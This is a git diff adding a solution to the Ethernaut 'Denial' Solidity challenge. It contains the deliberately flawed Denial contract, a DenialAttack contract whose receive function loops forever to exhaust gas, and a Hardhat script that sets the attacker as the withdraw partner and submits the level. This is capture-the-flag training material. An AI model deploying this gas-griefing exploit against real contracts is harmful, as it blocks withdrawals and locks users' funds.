diff --git a/ethernaut_challenges/contracts/20_Denial.sol b/ethernaut_challenges/contracts/20_Denial.sol new file mode 100644 index 0000000..fd265b1 --- /dev/null +++ b/ethernaut_challenges/contracts/20_Denial.sol @@ -0,0 +1,36 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.6.0; + +import "@openzeppelin/contracts/math/SafeMath.sol"; + +contract Denial { + using SafeMath for uint256; + address public partner; // withdrawal partner - pay the gas, split the withdraw + address payable public constant owner = address(0xA9E); + uint256 timeLastWithdrawn; + mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances + + function setWithdrawPartner(address _partner) public { + partner = _partner; + } + + // withdraw 1% to recipient and 1% to owner + function withdraw() public { + uint256 amountToSend = address(this).balance.div(100); + // perform a call without checking return + // The recipient can revert, the owner will still get their share + partner.call.value(amountToSend)(""); + owner.transfer(amountToSend); + // keep track of last withdrawal time + timeLastWithdrawn = now; + withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend); + } + + // allow deposit of funds + receive() external payable {} + + // convenience function + function contractBalance() public view returns (uint256) { + return address(this).balance; + } +} diff --git a/ethernaut_challenges/contracts/20_DenialAttack.sol b/ethernaut_challenges/contracts/20_DenialAttack.sol new file mode 100644 index 0000000..a108b7f --- /dev/null +++ b/ethernaut_challenges/contracts/20_DenialAttack.sol @@ -0,0 +1,9 @@ +// SPDX-License-Identifier: GPL-3.0 + +pragma solidity ^0.6.0; + +contract DenialAttack { + receive() external payable { + while (true) {} + } +} diff --git a/ethernaut_challenges/scripts/20_denial.ts b/ethernaut_challenges/scripts/20_denial.ts new file mode 100644 index 0000000..cfe6a2f --- /dev/null +++ b/ethernaut_challenges/scripts/20_denial.ts @@ -0,0 +1,30 @@ +import { Signer } from 'ethers' +import { ethers } from 'hardhat' +import { Denial } from '../typechain-types/Denial' +import { DenialAttack } from '../typechain-types/DenialAttack' +import { loadOrCreateLevelInstance, submitLevelInstance } from './ethernaut' +import { loadOrDeployContract } from './helpers' + +const levelAddress = '0xf1D573178225513eDAA795bE9206f7E311EeDEc3' + +const main = async () => { + const signer = (await ethers.getSigners())[0] as Signer + + const targetContract = (await loadOrCreateLevelInstance('Denial', levelAddress, signer, { + value: ethers.utils.parseEther('0.001'), + })) as Denial + const attackContract = (await loadOrDeployContract('DenialAttack', [], signer)) as DenialAttack + + const tx = await targetContract.setWithdrawPartner(attackContract.address) + console.log(`tx hash ${tx.hash}`) + await tx.wait() + + await submitLevelInstance(targetContract.address, signer) +} + +main() + .then(() => process.exit()) + .catch(e => { + console.error(e) + process.exit(1) + }) diff --git a/ethernaut_challenges/scripts/ethernaut.ts b/ethernaut_challenges/scripts/ethernaut.ts index 88737e1..9c7b1e7 100644 --- a/ethernaut_challenges/scripts/ethernaut.ts +++ b/ethernaut_challenges/scripts/ethernaut.ts @@ -47,7 +47,7 @@ export const loadOrCreateLevelInstance = async ( } export const submitLevelInstance = async (instanceAddress: string, signer: Signer): Promise => { - const submitTx = await getEthernautContract(signer).submitLevelInstance(instanceAddress, {gasLimit: 1000000}) + const submitTx = await getEthernautContract(signer).submitLevelInstance(instanceAddress, { gasLimit: 2000000 }) console.log(`Submitted level instance address ${instanceAddress}. Tx ID: ${submitTx.hash}`) const receipt = await submitTx.wait() if (receipt.logs.length) {